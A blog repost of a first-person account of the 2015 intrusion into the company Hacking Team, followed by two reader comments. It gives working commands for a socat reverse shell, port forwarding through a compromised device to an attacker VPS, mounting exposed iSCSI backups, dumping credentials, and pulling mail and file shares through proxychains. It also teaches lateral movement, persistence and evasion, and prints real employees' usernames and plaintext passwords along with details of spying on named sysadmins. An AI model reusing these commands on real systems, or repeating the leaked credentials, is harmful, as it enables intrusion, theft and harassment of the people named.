How “Hacking Team” Was Hacked

After the Gamma Group hack, I described a process for searching for
vulnerabilities [1]. Hacking Team had one public IP range:
inetnum: -
descr:          HT public subnet

Hacking Team had very little exposed to the internet. For example, unlike
Gamma Group, their customer support site needed a client certificate to
connect. What they had was their main website (a Joomla blog in which Joomscan
[2] didn't find anything serious), a mail server, a couple routers, two VPN
appliances, and a spam filtering appliance. So, I had three options: look for
a 0day in Joomla, look for a 0day in postfix, or look for a 0day in one of the
embedded devices. A 0day in an embedded device seemed like the easiest option,
and after two weeks of work reverse engineering, I got a remote root exploit.
Since the vulnerabilities still haven't been patched, I won't give more
details, but for more information on finding these kinds of vulnerabilities,
see [3] and [4].


--[ 6 - Be Prepared ]-----------------------------------------------------------

I did a lot of work and testing before using the exploit against Hacking Team.
I wrote a backdoored firmware, and compiled various post-exploitation tools
for the embedded device. The backdoor serves to protect the exploit. Using the
exploit just once and then returning through the backdoor makes it harder to
identify and patch the vulnerabilities.

The post-exploitation tools that I'd prepared were:

1) busybox

   For all the standard Unix utilities that the system didn't have.

2) nmap

   To scan and fingerprint Hacking Team's internal network.


   The most useful tool for attacking windows networks when you have access to
   the internal network, but no domain user.

4) Python

   To execute

5) tcpdump

   For sniffing traffic.

6) dsniff

   For sniffing passwords from plaintext protocols like ftp, and for
   arpspoofing. I wanted to use ettercap, written by Hacking Team's own ALoR
   and NaGA, but it was hard to compile it for the system.

7) socat

   For a comfortable shell with a pty:
   my_server: socat file:`tty`,raw,echo=0 tcp-listen:my_port
   hacked box: socat exec:'bash -li',pty,stderr,setsid,sigint,sane \

   And useful for a lot more, it's a networking swiss army knife. See the
   examples section of its documentation.

8) screen

   Like the shell with pty, it wasn't really necessary, but I wanted to feel
   at home in Hacking Team's network.

9) a SOCKS proxy server

   To use with proxychains to be able to access their local network from any

10) tgcd

   For forwarding ports, like for the SOCKS server, through the firewall.


The worst thing that could happen would be for my backdoor or post-exploitation
tools to make the system unstable and cause an employee to investigate. So I
spent a week testing my exploit, backdoor, and post-exploitation tools in the
networks of other vulnerable companies before entering Hacking Team's network.

--[ 7 - Watch and Listen ]------------------------------------------------------

Now inside their internal network, I wanted to take a look around and think
about my next step. I started in analysis mode (-A to listen
without sending poisoned responses), and did a slow scan with nmap.

--[ 8 - NoSQL Databases ]-------------------------------------------------------

NoSQL, or rather NoAuthentication, has been a huge gift to the hacker
community [1]. Just when I was worried that they'd finally patched all of the
authentication bypass bugs in MySQL [2][3][4][5], new databases came into
style that lack authentication by design. Nmap found a few in Hacking Team's
internal network:

27017/tcp open  mongodb       MongoDB 2.6.5
| mongodb-databases:
|   ok = 1
|   totalSizeMb = 47547
|   totalSize = 49856643072
|_    version = 2.6.5

27017/tcp open  mongodb       MongoDB 2.6.5
| mongodb-databases:
|   ok = 1
|   totalSizeMb = 31987
|   totalSize = 33540800512
|   databases
|_    version = 2.6.5

They were the databases for test instances of RCS. The audio that RCS records
is stored in MongoDB with GridFS. The audio folder in the torrent [6] came
from this. They were spying on themselves without meaning to.


--[ 9 - Crossed Cables ]--------------------------------------------------------

Although it was fun to listen to recordings and see webcam images of Hacking
Team developing their malware, it wasn't very useful. Their insecure backups
were the vulnerability that opened their doors. According to their
documentation [1], their iSCSI devices were supposed to be on a separate
network, but nmap found a few in their subnetwork

Nmap scan report for ht-synology.hackingteam.local (
3260/tcp open  iscsi?
| iscsi-info:
|   Target:
|     Address:,0
|_    Authentication: No authentication required

Nmap scan report for synology-backup.hackingteam.local (
3260/tcp open  iscsi?
| iscsi-info:
|   Target:
|     Address:,0
|     Address:,0
|_    Authentication: No authentication required

iSCSI needs a kernel module, and it would've been difficult to compile it for
the embedded system. I forwarded the port so that I could mount it from a VPS:

VPS: tgcd -L -p 3260 -q 42838
Embedded system: tgcd -C -s -c VPS_IP:42838

VPS: iscsiadm -m discovery -t sendtargets -p

Now iSCSI finds the name but has problems mounting it
because it thinks its IP is instead of

The way I solved it was:
iptables -t nat -A OUTPUT -d -j DNAT --to-destination

And now, after:
iscsiadm -m node -p --login

...the device file appears! We mount it:
vmfs-fuse -o ro /dev/sdb1 /mnt/tmp

and find backups of various virtual machines. The Exchange server seemed like
the most interesting. It was too big too download, but it was possible to
mount it remotely to look for interesting files:
$ losetup /dev/loop0
$ fdisk -l /dev/loop0
/dev/loop0p1            2048  1258287103   629142528    7  HPFS/NTFS/exFAT

so the offset is 2048 * 512 = 1048576
$ losetup -o 1048576 /dev/loop1 /dev/loop0
$ mount -o ro /dev/loop1 /mnt/exchange/

now in /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311
we find the hard disk of the VM, and mount it:
vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1

...and finally we've unpacked the Russian doll and can see all the files from
the old Exchange server in /mnt/part1


--[ 10 - From backups to domain admin ]-----------------------------------------

What interested me most in the backup was seeing if it had a password or hash
that could be used to access the live server. I used pwdump, cachedump, and
lsadump [1] on the registry hives. lsadump found the password to the besadmin
service account:

_SC_BlackBerry MDS Connection Service
0000   16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0010   62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00    b.e.s.
0020   21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00    !.!.!...........

I used proxychains [2] with the socks server on the embedded device and
smbclient [3] to check the password:
proxychains smbclient '//$' -U 'hackingteam.local/besadmin%bes32678!!!'

It worked! The password for besadmin was still valid, and a local admin. I
used my proxy and metasploit's psexec_psh [4] to get a meterpreter session.
Then I migrated to a 64 bit process, ran "load kiwi" [5], "creds_wdigest", and
got a bunch of passwords, including the Domain Admin:

HACKINGTEAM  BESAdmin       bes32678!!!
HACKINGTEAM  Administrator  uu8dd8ndd12!
HACKINGTEAM  c.pozzi        P4ssword      <---- lol great sysadmin
HACKINGTEAM  m.romeo        ioLK/(90
HACKINGTEAM  l.guerra       4luc@=.=
HACKINGTEAM  d.martinez     W4tudul3sp
HACKINGTEAM  g.russo        GCBr0s0705!
HACKINGTEAM  a.scarafile    Cd4432996111
HACKINGTEAM  r.viscardi     Ht2015!
HACKINGTEAM  a.mino         A!e$$andra
HACKINGTEAM  m.bettini      Ettore&Bella0314
HACKINGTEAM  m.luppi        Blackou7
HACKINGTEAM  s.gallucci     1S9i8m4o!
HACKINGTEAM  d.milan        set!dob66
HACKINGTEAM  w.furlan       Blu3.B3rry!
HACKINGTEAM  d.romualdi     Rd13136f@#
HACKINGTEAM  l.invernizzi   L0r3nz0123!
HACKINGTEAM  e.ciceri       2O2571&2E
HACKINGTEAM  e.rabe         erab@4HT!


--[ 11 - Downloading the mail ]-------------------------------------------------

With the Domain Admin password, I have access to the email, the heart of the
company. Since with each step I take there's a chance of being detected, I
start downloading their email before continuing to explore. Powershell makes
it easy [1]. Curiously, I found a bug with Powershell's date handling. After
downloading the emails, it took me another couple weeks to get access to the
source code and everything else, so I returned every now and then to download
the new emails. The server was Italian, with dates in the format
day/month/year. I used:
-ContentFilter {(Received -ge '05/06/2015') -or (Sent -ge '05/06/2015')}

with New-MailboxExportRequest to download the new emails (in this case all
mail since June 5). The problem is it says the date is invalid if you
try a day larger than 12 (I imagine because in the US the month comes first
and you can't have a month above 12). It seems like Microsoft's engineers only
test their software with their own locale.


--[ 12 - Downloading Files ]----------------------------------------------------

Now that I'd gotten Domain Admin, I started to download file shares using my
proxy and the -Tc option of smbclient, for example:

proxychains smbclient '// DiskStation' \
    -U 'HACKINGTEAM/Administrator%uu8dd8ndd12!' -Tc FAE_DiskStation.tar '*'

I downloaded the Amministrazione, FAE DiskStation, and FileServer folders in
the torrent like that.

--[ 13 - Introduction to hacking windows domains ]------------------------------

Before continuing with the story of the "weones culiaos" (Hacking Team), I
should give some general knowledge for hacking windows networks.

----[ 13.1 - Lateral Movement ]-------------------------------------------------

I'll give a brief review of the different techniques for spreading withing a
windows network. The techniques for remote execution require the password or
hash of a local admin on the target. By far, the most common way of obtaining
those credentials is using mimikatz [1], especially sekurlsa::logonpasswords
and sekurlsa::msv, on the computers where you already have admin access. The
techniques for "in place" movement also require administrative privileges
(except for runas). The most important tools for privilege escalation are
PowerUp [2], and bypassuac [3].


Remote Movement:

1) psexec

   The tried and true method for lateral movement on windows. You can use
   psexec [1], winexe [2], metasploit's psexec_psh [3], Powershell Empire's
   invoke_psexec [4], or the builtin windows command "sc" [5]. For the
   metasploit module, powershell empire, and pth-winexe [6], you just need the
   hash, not the password. It's the most universal method (it works on any
   windows computer with port 445 open), but it's also the least stealthy.
   Event type 7045 "Service Control Manager" will appear in the event logs. In
   my experience, no one has ever noticed during a hack, but it helps the
   investigators piece together what the hacker did afterwards.

2) WMI

   The most stealthy method. The WMI service is enabled on all windows
   computers, but except for servers, the firewall blocks it by default. You
   can use [7], pth-wmis [6] (here's a demonstration of wmiexec and
   pth-wmis [8]), Powershell Empire's invoke_wmi [9], or the windows builtin
   wmic [5]. All except wmic just need the hash.

3) PSRemoting [10]

   It's disabled by default, and I don't recommend enabling new protocols.
   But, if the sysadmin has already enabled it, it's very convenient,
   especially if you use powershell for everything (and you should use
   powershell for almost everything, it will change [11] with powershell 5 and
   windows 10, but for now powershell makes it easy to do everything in RAM,
   avoid AV, and leave a small footprint)

4) Scheduled Tasks

   You can execute remote programs with at and schtasks [5]. It works in the
   same situations where you could use psexec, and it also leaves a well known
   footprint [12].

5) GPO

   If all those protocols are disabled or blocked by the firewall, once you're
   Domain Admin, you can use GPO to give users a login script, install an msi,
   execute a scheduled task [13], or, like we'll see with the computer of
   Mauro Romeo (one of Hacking Team's sysadmins), use GPO to enable WMI and
   open the firewall.


"In place" Movement:

1) Token Stealing

   Once you have admin access on a computer, you can use the tokens of the
   other users to access resources in the domain. Two tools for doing this are
   incognito [1] and the mimikatz token::* commands [2].

2) MS14-068

   You can take advantage of a validation bug in Kerberos to generate Domain
   Admin tickets [3][4][5].

3) Pass the Hash

   If you have a user's hash, but they're not logged in, you can use
   sekurlsa::pth [2] to get a ticket for the user.

4) Process Injection

   Any RAT can inject itself into other processes. For example, the migrate
   command in meterpreter and pupy [6], or the psinject [7] command in
   powershell empire. You can inject into the process that has the token you

5) runas

   This is sometimes very useful since it doesn't require admin privileges.
   The command is part of windows, but if you don't have a GUI you can use
   powershell [8].


----[ 13.2 - Persistence ]------------------------------------------------------

Once you have access, you want to keep it. Really, persistence is only a
challenge for assholes like Hacking Team who target activists and other
individuals. To hack companies, persistence isn't needed since companies never
sleep. I always use Duqu 2 style "persistence", executing in RAM on a couple
high-uptime servers. On the off chance that they all reboot at the same time,
I have passwords and a golden ticket [1] as backup access. You can read more
about the different techniques for persistence in windows here [2][3][4]. But
for hacking companies, it's not needed and it increases the risk of detection.


----[ 13.3 - Internal reconnaissance ]------------------------------------------

The best tool these days for understanding windows networks is Powerview [1].
It's worth reading everything written by it's author [2], especially [3], [4],
[5], and [6]. Powershell itself is also quite powerful [7]. As there are still
many windows 2000 and 2003 servers without powershell, you also have to learn
the old school [8], with programs like netview.exe [9] or the windows builtin
"net view". Other techniques that I like are:

1) Downloading a list of file names

   With a Domain Admin account, you can download a list of all filenames in
   the network with powerview:

   Invoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ |
   select-string '^(.*) \t-' | %{dir -recurse $_.Matches[0].Groups[1] |
   select fullname | out-file -append files.txt}

   Later, you can read it at your leisure and choose which files to download.

2) Reading email

   As we've already seen, you can download email with powershell, and it has a
   lot of useful information.

3) Reading sharepoint

   It's another place where many businesses store a lot of important
   information. It can also be downloaded with powershell [10].

4) Active Directory [11]

   It has a lot of useful information about users and computers. Without being
   Domain Admin, you can already get a lot of info with powerview and other
   tools [12]. After getting Domain Admin, you should export all the AD
   information with csvde or another tool.

5) Spy on the employees

   One of my favorite hobbies is hunting sysadmins. Spying on Christian Pozzi
   (one of Hacking Team's sysadmins) gave me access to a Nagios server which
   gave me access to the rete sviluppo (development network with the source
   code of RCS). With a simple combination of Get-Keystrokes and
   Get-TimedScreenshot from PowerSploit [13], Do-Exfiltration from nishang
   [14], and GPO, you can spy on any employee, or even on the whole domain.


--[ 14 - Hunting Sysadmins ]----------------------------------------------------

Reading their documentation about their infrastructure [1], I saw that I was
still missing access to something important - the "Rete Sviluppo", an isolated
network with the source code for RCS. The sysadmins of a company always have
access to everything, so I searched the computers of Mauro Romeo and Christian
Pozzi to see how they administer the Sviluppo network, and to see if there
were any other interesting systems I should investigate. It was simple to
access their computers, since they were part of the windows domain where I'd
already gotten admin access. Mauro Romeo's computer didn't have any ports
open, so I opened the port for WMI [2] and executed meterpreter [3]. In
addition to keylogging and screen scraping with Get-Keystrokes and
Get-TimeScreenshot, I used many /gather/ modules from metasploit, CredMan.ps1
[4], and searched for interesting files [5]. Upon seeing that Pozzi had a
Truecrypt volume, I waited until he'd mounted it and then copied off the
files. Many have made fun of Christian Pozzi's weak passwords (and of
Christian Pozzi in general, he provides plenty of material [6][7][8][9]). I
included them in the leak as a false clue, and to laugh at him. The reality is
that mimikatz and keyloggers view all passwords equally.


--[ 15 - The bridge ]-----------------------------------------------------------

Within Christian Pozzi's Truecrypt volume, there was a textfile with many
passwords [1]. One of those was for a Fully Automated Nagios server, which had
access to the Sviluppo network in order to monitor it. I'd found the bridge I
needed. The textfile just had the password to the web interface, but there was
a public code execution exploit [2] (it's an unauthenticated exploit, but it
requires that at least one user has a session initiated, for which I used the
password from the textfile).


--[ 16 - Reusing and resetting passwords ]--------------------------------------

Reading the emails, I'd seen Daniele Milan granting access to git repos. I
already had his windows password thanks to mimikatz. I tried it on the git
server and it worked. Then I tried sudo and it worked. For the gitlab server
and their twitter account, I used the "forgot my password" function along with
my access to their mail server to reset the passwords.


2 thoughts on “How “Hacking Team” Was Hacked

  1. Pingback: Video of Phineas Fisher Hacking Spain’s Catalan Police Union – DESTRUCTIVE RESEARCH LABS

  2. decent write-up; what i found most interesting was when you mounted and explored; that was a lazy work. heh!

    not sure why you used psh? they had no av to detect anything? also code execution on the joomla host. bleh?! no os hardening at all i suppose.


Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )


Connecting to %s